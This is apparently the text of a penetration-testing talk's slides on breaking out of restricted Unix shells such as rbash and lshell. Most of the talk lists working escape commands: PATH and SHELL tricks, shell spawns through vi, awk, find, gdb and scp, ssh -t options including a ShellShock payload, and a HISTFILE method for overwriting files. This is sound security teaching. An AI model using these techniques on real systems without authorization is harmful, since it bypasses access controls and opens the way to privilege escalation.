

Escape From SHELLcatraz

i.e. breaking out of restricted Unix shells



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What is a restricted shell?

- Unix shell that restricts some of the capabilities available to an interactive user, such as:
 - Using **cd** to change directories
 - Setting or unsetting certain environment variables (e.g. **SHELL** or **PATH**)
 - Specifying command names containing ‘ / ’
 - Redirecting output using **>**, **>>**, **>|**, **>&**, **&>** operators
 - Using built-in commands
 - And sometimes a lot more...

But... why?

- To provide additional layer of security
- To restrict usage of the appliance to a limited number of features it was originally designed for (e.g. routers, disk and volume managers, network appliances)
- To “protect” underlying operating system, sometimes even from system administrators themselves...
- To make life of attackers (and pentesters) harder

Types of restricted shells

- “Real” shell implementations, e.g.
 - rbash
 - rsh
 - rksh
- Implementation of shells in *<insert your favorite scripting language here>*, e.g.
 - Python (lshell)

The SHELLshank Redemption

i.e. specific techniques of breaking out



Step 1: Reconnaissance

- Find out as much as you can about the environment you're in:
 - Run **env** to see exported environment variables
 - **echo \$PATH**, to find out what is the PATH set to (usually to one or two specific directories)
 - **echo \$SHELL**, to find out what SHELL are we actually in (generally rbash or rksh)
 - try basic Unix commands and see what's allowed: **ls, pwd, cd . . . , env, set, export, vi, cp, mv**

Step 2: Quick Wins

- If ‘ / ’ are allowed in commands, you won!
 - Just run `/bin/sh`
- If you can set PATH or SHELL variables, you won again!
 - `export PATH=/bin:/usr/bin:$PATH`
 - `export SHELL=/bin/sh`
- If you can copy files into existing PATH... win!
 - `cp /bin/sh /some/dir/from/PATH; sh`

Step 3: Get to know the wardens

- Do research on all parameters and additional (hidden?) functionality in commands that are allowed
- Some commands let you execute other system commands, often bypassing shell restrictions:
 - `ftp` → `!/bin/sh`
 - `gdb` → `!/bin/sh`
 - `more` / `less` / `man` → `!/bin/sh`
 - `vi` / `vim` → `:!/bin/sh`
 - `scp -S /tmp/getMeOut.sh x y:`
 - `awk 'BEGIN {system("/bin/sh")}'`
 - `find` / `-name someName -exec /bin/sh \;`

Step 4: Help from the outside

- Use SSH on your machine to execute commands before the remote shell is loaded:
 - `ssh restricted@10.20.30.40 -t “/bin/sh”`
- Or start the remote shell without loading “rc” profile (where most of the limitations are often configured):
 - `ssh restricted@10.20.30.40 -t “bash --noprofile”`
- Try ShellShock on vulnerable shell implementations:
 - `ssh restricted@10.20.30.40 -t “() { :; }; /bin/bash”`

Step 5: Dig deep!

- Write to files using `tee`:
 - `echo “Your evil code” | tee script.sh`
- Invoke shell through a scripting language:
 - `python -c ‘import os; os.system(“/bin/bash”)’`
 - `perl -e ‘exec “/bin/sh”;’`
- History file trick:
 - 1) Set **HISTFILE** variable to a file you want to overwrite
 - 2) Set **HISTSIZE** variable to **0** and then immediately to **100**
 - 3) Execute lines that you want to be written to your file
 - 4) Log out and log back in again. You have overwritten contents of the file **HISTFILE** pointed to (also, the original file permissions remained the same!)

The Great SHELLscape

i.e. DEMO time!



Summary

- Restricted shells exist and sometimes can make life quite difficult
- Various techniques of breaking out from restricted environments exist
 - There are a lot more different methods and ideas than just the ones covered here!
- Enumeration is the key! And a little bit of creativity...
- After breaking out, further privilege escalation **may** be quite simple (i.e. **sudo**)

References

- <https://pen-testing.sans.org/blog/pen-testing/2012/06/06/escaping-restricted-linux-shells>
- <http://pentestmonkey.net/blog/rbash-scp>
- <http://airnesstheman.blogspot.com.au/2011/05/breaking-out-of-jail-restricted-shell.html>
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Questions

